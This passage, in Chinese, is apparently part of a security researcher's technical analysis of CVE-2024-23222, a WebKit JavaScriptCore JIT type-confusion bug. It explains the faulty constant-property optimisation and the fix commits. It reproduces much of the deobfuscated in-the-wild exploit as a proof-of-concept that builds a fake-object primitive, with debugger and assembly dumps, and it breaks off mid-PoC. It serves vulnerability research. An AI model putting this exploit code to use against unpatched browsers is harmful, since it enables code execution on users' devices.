做越来越激进的优化，以在编译时间和因更快执行而节省的时间之间取得良好的平衡。</p><p>除了减少浪费工作的机会外，这还允许运行时在所谓的分析阶段收集（类型）信息，然后可以在实际编译阶段用于更好的优化，从而带来又一个性能提升。</p><p>类型系统中还有一个重要的部分需要理解才能理解这个漏洞：JS 对象又是一种非常通用的类型，可以以多种不同方式使用，因此应该对它们应用不同的优化。因此，在 JSC 中所有对象都持有一个指向所谓结构的指针，该结构包含对象的描述，具体来说就是对象持有哪些属性以及它们在对象中存储在哪里。</p><p>举个具体例子：假设有一个对象 obj，拥有 prop1 和 prop2 两个属性，该对象将持有一个指向结构的指针，该结构声明：prop1 存储在内联偏移 0x10 处，prop2 存储在内联偏移 0x18 处。当 JS 程序访问 obj.prop1 时，运行时将读取结构指针，在其中找到 prop1 及其在对象中的偏移，然后从该偏移读取值。多个对象可以有相同的结构，但类型系统只能向前移动——意思是如果你给对象添加一个新属性，它将转换到一个新结构，但如果你删除同一个属性，它不会转换回旧结构，而是转换到另一个新结构。</p><p>JIT 编译包含多个阶段，与我们相关的是控制流分析（CFA）和常量折叠。在 CFA 期间，JIT 将类型预测转换为类型证明，例如允许加法操作只发出整数加法指令，如果它能证明两个操作数始终是整数（且不会溢出）。常量折叠是一种优化，允许 JIT 在编译期间预计算值，例如如果我们有 <code>let a = 1 + 2;</code>，JIT 可以预计算 a 的值为 3，然后直接发出该值而不是加法指令。</p><p>这在 JSC 中不仅仅限于简单的算术运算。例如如果我们有 <code>let a = obj.prop1;</code> 并且 JIT 能证明 obj 始终具有相同的结构且 prop1 始终存储在偏移 0x10，它可以从 <code>obj + 0x10</code> 加载而不是做完整的属性访问逻辑，这要快得多。</p><p>JSC 甚至更进一步，试图预测 obj.prop1 是否始终是相同的值。例如如果 prop1 始终是 1.1，它可以预计算 a 的值为 1.1 并发出该值而不是加载指令。虽然对于不太复杂的情况，人们可以很容易地看到运行时检查如何足以进行验证（<code>if (struct(obj1) != S1) {fallback();}</code>），但对于更复杂的情况，这很难通过运行时检查来解决。因此，JIT 有另一个称为观察点的功能，它可以在对象上设置。若在运行时此类观察点被触发，运行时将作废已编译代码并回退至解释器。这些与运行时检查很好地互补，因为虽然运行时检查必须在热函数内部并因此在每次调用函数时运行，但观察点可以设置在非常不可能发生的操作上，然后不需要发出运行时检查，因为如果它们曾经触发，代码将被保证无效。所以观察点允许更激进的优化，比如上面的那个。</p><p>有两种与我们相关的观察点类型：属性替换观察点和结构转换观察点。</p><p>属性观察点在对象的属性被更改时触发。例如如果我们有 <code>obj.prop1 = 1.1;</code> 然后后来 <code>obj.prop1 = 2.2;</code>，并且在两者之间 JIT 决定对 prop1 设置观察点，第二次赋值将触发观察点从而使编译后的代码无效。</p><p>结构转换观察点在对象的结构发生变化时触发。例如如果我们有 <code>obj.prop1 = 1.1;</code> 然后后来 <code>delete obj.prop1;</code>，obj 将转换到一个新结构，如果 JIT 在旧结构上设置了观察点，它将触发并使编译后的代码无效。重要的是，转换观察点只能设置在”叶子”结构上，即结构树中没有子节点的结构，意味着它们不是任何转换的源。这样做的主要理由是，如果一个结构在树中有子节点，那么这个观察点很有可能会触发从而使代码无效，这太昂贵了，所以 JIT 宁愿不做这个优化。</p><h4 id="322-lou-dong">3.2.2. 漏洞</h4><p>Cassowary 作为 CVE-2024-23222 被修复，<a href="https://support.apple.com/en-us/120304">Apple 安全公告</a>声明：</p><pre><code class="language-text" data-language="text">WebKit
适用于：iPhone XS 及更新机型、iPad Pro 12.9 英寸第 2 代及更新机型、iPad Pro 10.5 英寸、iPad Pro 11 英寸第 1 代及更新机型、iPad Air 第 3 代及更新机型、iPad 第 6 代及更新机型以及 iPad mini 第 5 代及更新机型
影响：处理恶意制作的 Web 内容可能导致任意代码执行。Apple 知道有报告称此问题可能已被利用。
描述：类型混淆问题已通过改进检查得到解决。
WebKit Bugzilla：267134
CVE-2024-23222</code></pre><p>从中我们获得了 Bugzilla ID 267134，<a href="https://bugs.webkit.org/show_bug.cgi?id=267134">报告</a>仍然保密，但我们可以在 WebKit 仓库中找到修复该问题的提交：</p><ul><li><a href="https://github.com/WebKit/WebKit/commit/64714692967ad278155fcae66c5cb0f853b3bf34">64714692967ad278155fcae66c5cb0f853b3bf34</a>：修复漏洞</li><li><a href="https://github.com/WebKit/WebKit/commit/66f60deae730514621d3f9c5e620aaa76e03f8f8">66f60deae730514621d3f9c5e620aaa76e03f8f8</a>：后续提交（据我理解，意识到一些代码不再需要并可以移除）</li></ul><h4 id="3221-ti-jiao-xin-xi">3.2.2.1. 提交信息</h4><pre><code class="language-text" data-language="text">commit 64714692967ad278155fcae66c5cb0f853b3bf34
Author: Yusuke Suzuki &lt;已编辑&gt;
Date:   Thu Jan 25 01:25:49 2024 -0800

    [JSC] DFG 常量属性加载应在主线程检查有效性
    https://bugs.webkit.org/show_bug.cgi?id=267134
    rdar://120443399

    由 Mark Lam 审查。

    考虑以下情况，

        CheckStructure O, S1 | S3
        GetByOffset O, offset

    并且 S1 -&gt; S2 -&gt; S3 结构转换发生。
    通过与编译器并发更改对象，可能在 CFA 期间用 O + S2 常量折叠属性。
    虽然我们在 S1 和 S3 中插入了观察点，但我们无法注意到 S2 中属性的变化。
    如果我们在运行代码之前将 O 更改为 S3，CheckStructure 通过并且我们可以使用从 O + S2 加载的值。

    1. 如果 S1 和 S3 的转换都已经被 DFG / FTL 观察到，那么我们不需要关心这个问题。
       CheckStructure 确保 O 是 S1 或 S3。并且两者都有在转换发生时触发的观察点。
       所以，如果我们在编译期间从 S1 转换到 S2，它已经使代码无效。
    2. 如果只有一个结构（S1），那么我们可以通过在主线程检查此条件来保持当前优化。
       CheckStructure 确保 O 是 S1。这意味着如果在主线程满足此假设，我们可以安全地继续使用此代码。
       为了检查此条件，我们添加了 DesiredObjectProperties，它记录 JSObject*、偏移、值和结构。
       在编译结束时，在主线程中，我们检查此假设是否仍然满足。

commit 66f60deae730514621d3f9c5e620aaa76e03f8f8
Author: Yusuke Suzuki &lt;已编辑&gt;
Date:   Thu Jan 25 01:25:49 2024 -0800

    [JSC] 移除 DFGDesiredObjectProperties
    https://bugs.webkit.org/show_bug.cgi?id=267134
    rdar://120443399

    由 Mark Lam 审查。

    当我们将结构限制为只有一个时，在保持对象结构不变的情况下，无法在不触发属性替换观察点的情况下更改属性。因此移除 DFGDesiredObjectProperties。</code></pre><p>更改在一个名为 <code>tryGetConstantProperty</code> 的函数中，该函数负责在给定基址和偏移的情况下获取值，同时验证基址在一组结构中并保证返回后值不会改变。</p><p>为此，旧函数首先在集合中的所有结构上放置属性替换观察点，然后获取基址上的 cell 锁并验证基址的结构在集合中。如果所有这些都成立，它将使用 <code>getDirectConcurrently</code> 从 <code>base + offset</code> 读取值并返回。其理由是值不可能在不触发某个属性替换观察点并使代码无效的情况下改变，或者如果基址的结构被更改，运行时检查将不会通过，代码将回退到解释器处理此对象。开发者没有注意到的是，基址可以被转换到不在集合中的结构，其属性被修改，然后转换回集合中的不同结构，这允许在不触发任何观察点的情况下修改值，同时仍然通过运行时检查。</p><p>修复方案是将此优化进一步限制为：</p><ul><li>集合只有一个结构——因为结构转换只是”向前”的，我们永远不能离开此结构，进行修改然后再回到它，所以这是安全的</li><li>集合中的所有结构都被转换观察——因为那样我们同样不能在不触发观察点从而使代码无效的情况下从结构转换离开</li></ul><h4 id="323-lou-dong-li-yong">3.2.3. 漏洞利用</h4><p>在本节中，我们将基于反混淆和清理后的代码来探讨漏洞利用。</p><p>在开始之前，我想提一下，通常这些漏洞利用是以闭环方式开发的，开发者与 JIT “共舞”直到它给出期望的代码生成。因此，一些代码可能是该过程的遗留物，可能并非漏洞利用工作所严格需要的。</p><p>这很重要，因为这意味着可能不是每一行代码都有好的理由，但我仍然会尝试提供一个解释。</p><p>漏洞利用的高层思路是通过让 <code>tryGetConstantProperty</code> 在 CFA 期间成功并返回一个浮点数组来毒害 JIT 编译器的类型信息，但在运行时实际上在一个对象数组上运行函数。这样他们就可以对指针执行优化的浮点操作，轻松创建 fakeobj 原语。具体来说，cassowary 将给指针加 0x10，将其从对象开头（JSCell 头部和 butterfly 指针所在的位置）移动到第一个完全由攻击者控制的内联属性，访问未对齐指针时该属性将被解释为 JSCell 头部。</p><p>这基本上导致了以下代码模式，他们围绕它构建漏洞利用：</p><pre><code class="language-text" data-language="text">let i32Arr = new Uint32Array(2);
let f64Arr = new Float64Array(i32Arr.buffer); // 与 i32Arr 共享同一缓冲区
function jitted_func() {
    // 做魔术
    // [...]
    let typeConfused = obj.p1 // 由于 CFA，JIT 认为 obj.p1/typeConfused 始终是 64 位浮点数组，实际上我们传递的是一个包含对象指针的数组
    f64Arr[0] = typeConfused[1]; // 因此，这变成了一个简单的存储，我们将指针作为浮点数存储到数组中
    i32Arr[0] = i32Arr[0] + 16; // 然后我们将指针增加 0x10（i32Arr 和 f64Arr 共享同一缓冲区/操作同一内存）
    typeConfused[1] = f64Arr[0]; // 然后我们将其存回，由于类型混淆，这又是一个简单的存储，但现在在原始数组中我们有一个指向对象第一个属性而不是 JSCell 头部的指针</code></pre><p>现在为了触发这个漏洞，obj 需要被观察为结构类型 S1 或 S3，并且 <code>tryGetConstantProperty</code> 在 CFA 期间成功。为此，漏洞利用首先创建一个包含 3 个结构的结构树/链：S1 -&gt; S2 -&gt; S3（实际上这个链还有一些我省略的临时结构）。</p><pre><code class="language-text" data-language="text">function newTarget() {} // 单个构造函数，使 structS1 和 structS3 共享相同的结构类型
let structS1 = Reflect.construct(Object, [], newTarget);
let structS3 = Reflect.construct(Object, [], newTarget);
// 此时 structS1 和 structS3 具有相同的结构
structS1.p1 = floatArrWProp1;
structS1.p2 = floatArrWProp1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
// 现在 structS1 和 structS3 又具有相同的结构，这就是我们的&#34;S1&#34;
delete structS3.p2;
// 这将 structS3 转换到我们的&#34;S2&#34;
delete structS3.p1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
// 现在它是我们的最终&#34;S3&#34;结构</code></pre><p>然后他们需要训练运行时将 obj 视为 S1 或 S3，但同时需要避免某些优化。为此他们在上面的代码周围创建了以下构造：</p><pre><code class="language-text" data-language="text">function toJIT(useS3) {
    let obj = structS1;
    if (useS3) {
        obj = structS3;
        (0)[0]
    }
    let typeConfused = obj.p1;
    if (useS3) typeConfused = floatArrWProp2;
    f64Arr[0] = typeConfused[1];
    i32Arr[0] = i32Arr[0] + 16;
    typeConfused[1] = f64Arr[0];
}</code></pre><p>现在我不是 100% 确定为什么需要这个确切的构造，但我可以告诉你 <code>(0)[0]</code> 充当”JIT 屏障”。通常 JIT 会在死代码消除阶段将此代码优化掉，但似乎有一个常量整数基址阻止了它进行此优化（我假设因为没有常规 JS 代码会有它），这意味着它必须发出一个可能有副作用的原始属性访问。这强烈促使 JIT 在 useS3 为真时不进行优化，在后续的分层升级中我们也看到它只为 S1 情况发出代码，并为 S3 情况回退到解释器，但在类型观察期间它仍然会看到两种情况，因此为 obj 创建结构集 {S1, S3}。</p><p>原始漏洞利用在属性访问上方还有 <code>&#34;uo&#34; in obj;</code>，但即使没有它漏洞仍然可以触发。我猜测它放在那里是为了强制 JIT 在那里发出结构运行时检查，但这纯粹是我的推测。</p><p>还有一个注意事项：在 CFA 之后，编译器还会有常量折叠阶段，它将再次以与 CFA 完全相同的参数调用 <code>tryGetConstantProperty</code>，因此它也会成功并返回一个浮点数组。然后 JIT 将继续把 p1 的值折叠到生成的代码中，而不是发出属性访问。这就是将攻击转化为竞态的原因，因为漏洞利用需要 <code>tryGetConstantProperty</code> 在 CFA 调用中成功但在常量折叠期间失败。幸运的是，这很容易通过在主线程上的两次调用之间更改 obj 的结构类型来实现，因为 <code>tryGetConstantProperty</code> 会在 obj 的结构不在预期集合中时退出，导致 JIT 发出属性访问而不是折叠值，但仍然基于 CFA 阶段的错误类型信息进行操作。</p><p>综合起来，函数调用如下：</p><pre><code class="language-text" data-language="text">const jitIterTotal = 0x1000000;
const jitIterTrain = 0x20000;
for (let jitIterCnt = 0; jitIterCnt &lt; jitIterTotal; jitIterCnt++) {
    if (jitIterCnt &gt; jitIterTrain) {
        toJIT(false,true); // 强制编译
    }else{
        toJIT(jitIterCnt % 2 &amp;&amp; jitIterCnt &lt; 256, jitIterCnt &gt; 4096); // 训练
    }
    if (jitIterCnt == jitIterTrain) {delete structS1.p2;} // 触发结构转换到 S2
}
// 然后在 S1/S3 之外修改 p1 以避免观察点
delete structS1.p1;
structS1.p1 = fakeFloatArr;
structS1.p2 = 1;
// structS1 现在是 S3（绕过运行时检查）
toJIT(false, false); // 触发</code></pre><p>其中第二个参数是快速路径，用于完全跳过函数中的执行，推测是为了不打扰类型信息。fakeFloatArr 在循环之前这样创建：</p><pre><code class="language-text" data-language="text">let victimObj = {prop1: 1, prop2: 2};
let fakeFloatArr = [1.1, victimObj];</code></pre><p>当漏洞成功触发时，fakeFloatArr 将被解释为常规浮点数组，fakeFloatArr[1] 将不再指向 victimObj，而是指向 victimObj 的第一个属性，该属性完全由攻击者控制，可以用作伪造对象原语。</p><p>单独来看，由于两个编译器阶段之间的竞态窗口极难从 JS 侧命中，触发漏洞相当困难。因此，漏洞利用在重要代码周围填充了虚拟代码来减慢编译过程，这基本上在我的机器上给了约 80% 的命中率。虚拟代码只是一个不容易被优化掉的简单循环：<code>while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;</code></p><p>漏洞利用做的另一件我没有解释的事情是在 JIT 代码生成后立即触发 Eden GC：</p><pre><code class="language-text" data-language="text">for (let t = 0; t &lt; 0x100000; t++) new Array(13.37, 13.37, 13.37, 13.37);</code></pre><p>我认为它可能有两个目的：</p><ul><li>它会延迟 JIT 热循环和触发之间的执行，这增加了函数作为 JIT 代码可用的可能性（尽管机会已经非常高）</li><li>它会清理 Eden 堆，正如我们将在下一阶段看到的，代码然后会进行堆喷射，所以干净的堆状态会大大帮助</li></ul><p>但即便没有它，漏洞仍可触发。</p><h4 id="3231-que-ren-li-lun-he-lou-dong-shi-yan">3.2.3.1. 确认理论和漏洞实验</h4><p>为了确认漏洞，我使用 <code>--dumpAirGraphAtEachPhase=true</code> 转储了成功和失败运行的 Air 汇编，然后比较两者。</p><p>在这样做时，我看到在失败的情况下我们将 floatArrWProp1 的值常量折叠到函数中：</p><pre><code class="language-text" data-language="text">Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move $0x101031390, %x0 ; 折叠常量
Air     Move (%x0), %x0
Air     Move32 -8(%x0), %x1
Air     Patch &amp;Branch32(3,SameAsRep)3, BelowOrEqual, %x1, $1, $0x101031388
Air     MoveDouble 8(%x0), %q0
[...]</code></pre><p>因此我想到 <code>tryGetConstantProperty</code> 可能被多次调用，但在常量折叠阶段失败。</p><p>我决定通过在 <code>tryGetConstantProperty</code> 上设置断点来确认这一点，确实它被命中了多次。</p><p>为了完全确认不同代码生成的原因，我使用了这个断点：</p><pre><code class="language-text" data-language="text">(lldb) break set -n tryGetConstantProperty
(lldb) break command add
&gt; bt
&gt; break set -o -a $lr -C &#34;reg read x0&#34; -C &#34;c&#34;
&gt; c
&gt; DONE
(lldb) c</code></pre><p>产生以下输出（按 “x0 =” 过滤）：</p><pre><code class="language-text" data-language="text">x0 = 0x0000000101031388       x0 = 0x0000000101031388
      x0 = 0x0000000101031388       x0 = 0x0000000101031388
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000101031388       x0 = 0x0000000101031388 &lt;--- [0]
      x0 = 0x0000000000000000       x0 = 0x0000000101031388 &lt;--- [1] 差异
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000</code></pre><p>确实，查看回溯跟踪，[0] 在 CFA 中，[1] 在常量折叠阶段。</p><p>成功类型混淆的版本生成以下 Air 汇编：</p><pre><code class="language-text" data-language="text">Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move 8(%tmp20), %tmp37                  ; 加载 structS1 butterfly
Air     Move -16(%tmp37), %tmp25                ; 从 butterfly 加载 p1
                                                 ; v-- 错误的 cell 标签时退出
Air     Patch &amp;BranchTest64(3,SameAsRep)1, NonZero, %tmp25, 0xfffe000000000002, %tmp25, %tmp25
Air     Move 8(%tmp25), %tmp24                  ; 获取 p1 butterfly
Air     Move32 -8(%tmp24), %tmp34               ; 从 butterfly 加载 publicLength
Air     Move $1, %tmp35                         ; [1] 索引
                                                 ; v-- 边界检查
Air     Patch &amp;Branch32(3,SameAsRep)3, BelowOrEqual, %tmp34, $1, %tmp25
Air     MoveDouble 8(%tmp24), %ftmp1            ; 从 butterfly[1] 原始 double 加载
Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move 8(%x2), %x0                        ; 加载 obj butterfly
Air     Move -16(%x0), %x1                      ; 从 butterfly 加载 p1
Air     Patch &amp;Patchpoint0, $0x1034f4150        ; ???
Air     Move $0xfffe000000000002, %x0           ; 获取预期的 cell 标签
Air     Patch &amp;BranchTest64(3,SameAsRep)1, NonZero, %x1, %x0, %x1, %x1 ; 错误的 cell 标签时退出
Air     Move 8(%x1), %x0                        ; 获取 typeConfused butterfly
Air     Move32 -8(%x0), %x2                     ; 从 butterfly 加载 publicLength
Air     Patch &amp;Branch32(3,SameAsRep)3, BelowOrEqual, %x2, $1, %x1 ; 边界检查
Air     MoveDouble 8(%x0), %q0                  ; typeConfused[1] 作为 double 加载
Air     Patch &amp;BranchDouble(3,SameAsRep)4, DoubleNotEqualOrUnordered, %q0, %q0, %x1 ; ???
Air     Move $0x780e0000b0, %x2                 ; f64Arr 后端
Air     MoveDouble %q0, (%x2)                   ; 将 typeConfused[1] 存储到 f64Arr[0]
Air     Patch &amp;Patchpoint0, $0x10206e488        ; ???
Air     Patch &amp;Patchpoint0, $0x10206e3c8        ; ???
Air     Move32 (%x2), %x4                       ; 作为 int 加载 i32Arr[0]
Air     Move $65536, %x3                        ; 指针移位的增量
Air     AddLeftShift64 %x3, %x4, $12, %x3
Air     Rshift64 %x3, $12, %x3
Air     Move32 %x3, (%x2)                       ; 将增加的指针存回 i32Arr[0]
Air     Patch &amp;Patchpoint0, $0x10206e3c8        ; ???
Air     MoveDouble (%x2), %q0                   ; 作为 double 加载增加的指针
Air     Patch &amp;Patchpoint0, $0x10206e488        ; ???
Air     Patch &amp;BranchDouble(3,SameAsRep)4, DoubleNotEqualOrUnordered, %q0, %q0, %q0, %x1, %q0 ; ???
Air     MoveDouble %q0, 8(%x0)                  ; 将增加的指针存回 typeConfused[1]
Air     Move $10, %x0
Air     Ret64 %x0</code></pre><p>另一项对我有帮助的工作是查看所有变量的结构 ID。为此我们可以<a href="https://s3-us-west-2.amazonaws.com/minified-archives.webkit.org/mac-sonoma-x86_64%20arm64-release/272535@main.zip">下载</a>一个有漏洞的 JSC 版本，然后使用 describe 打印结构 ID：</p><pre><code class="language-text" data-language="text">创建后
Object: 0x1064f4150 with butterfly 0x0(base=0xfffffffffffffff8) (Structure 0x30000a780:[0xa780/42880, Object, (0/0, 0/0){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 42880
Object: 0x1064f4160 with butterfly 0x0(base=0xfffffffffffffff8) (Structure 0x30000a780:[0xa780/42880, Object, (0/0, 0/0){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 42880
p1/p2 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43104
structS3.p2 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a8d0:[0xa8d0/43216, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43216
structS3.p1 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a940:[0xa940/43328, Object, (0/0, 2/4){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43328
structS3.p1 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a9b0:[0xa9b0/43440, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43440
structS3.p2 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43552
structS1.p2 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a8d0:[0xa8d0/43216, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180]), StructureID: 43216
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf (Watched)]), StructureID: 43552
structS1.p1 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a940:[0xa940/43328, Object, (0/0, 2/4){}, NonArray, Proto:0x106444180]), StructureID: 43328
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180, Leaf (Watched)]), StructureID: 43552
structS1.p1 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a9b0:[0xa9b0/43440, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180]), StructureID: 43440</code></pre><p>如果你想的话可以自己尝试 PoC（点击展开）</p><pre><code class="language-text" data-language="text">let victimObj = {prop1: 1, prop2: 2}; // 漏洞利用最终将在此对象上获得一个损坏的指针，使其不再指向对象头部而是指向 prop1&amp;prop2，从而允许我们伪造一个对象
let fakeFloatArr = [1.1, victimObj];

let floatArrWProp1 = [1.1, 1.1];
floatArrWProp1.prop = 1.1;
let floatArrWProp2 = [1.1, 2.2];
floatArrWProp2.prop = 1.1;

function newTarget() {}
let structS1 = Reflect.construct(Object, [], newTarget);
let structS3 = Reflect.construct(Object, [], newTarget);
//print(&#34;创建后&#34;); print(describe(structS1)); print(describe(structS3));
// 42880/42880
structS1.p1 = floatArrWProp1;
structS1.p2 = floatArrWProp1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
//print(&#34;p1/p2 赋值后&#34;); print(describe(structS1)); print(describe(structS3));
// 43104/43104
delete structS3.p2;
// print(&#34;structS3.p2 删除后&#34;); print(describe(structS1)); print(describe(structS3));
// 43104/43216
delete structS3.p1;
// print(&#34;structS3.p1 删除后&#34;); print(describe(structS1)); print(describe(structS3));
// 43104/43328
structS3.p1 = 0x1337;
// print(&#34;structS3.p1 赋值后&#34;); print(describe(structS1)); print(describe(structS3));
// 43104/43440
structS3.p2 = 0x1337;
// print(&#34;structS3.p2 赋值后&#34;); print(describe(structS1)); print(describe(structS3));
// 43104/43552

let compilerSlowDownObj = {}; // {guard_p1: 1}; // {guard_p1: 1,p1: [1.1, 2.2]};

// 用于混淆的数组
let i32Arr = new Uint32Array(2);
let f64Arr = new Float64Array(i32Arr.buffer);

function toJIT(useS3, skipEverything) {
    // 这是为了让 JIT 永远不会看到 obj 变成结构类型 2（这在删除后可能发生）
    if (skipEverything) {return;}

    let obj = structS1;
    if (useS3) {
        obj = structS3;
        // JIT 屏障 - 这可能有副作用，所以 JIT 必须忘记 obj 的类型
        (0)[0]
    }

    // 减慢编译器
    let slowdownLoopCnt = 0;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt &lt; 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

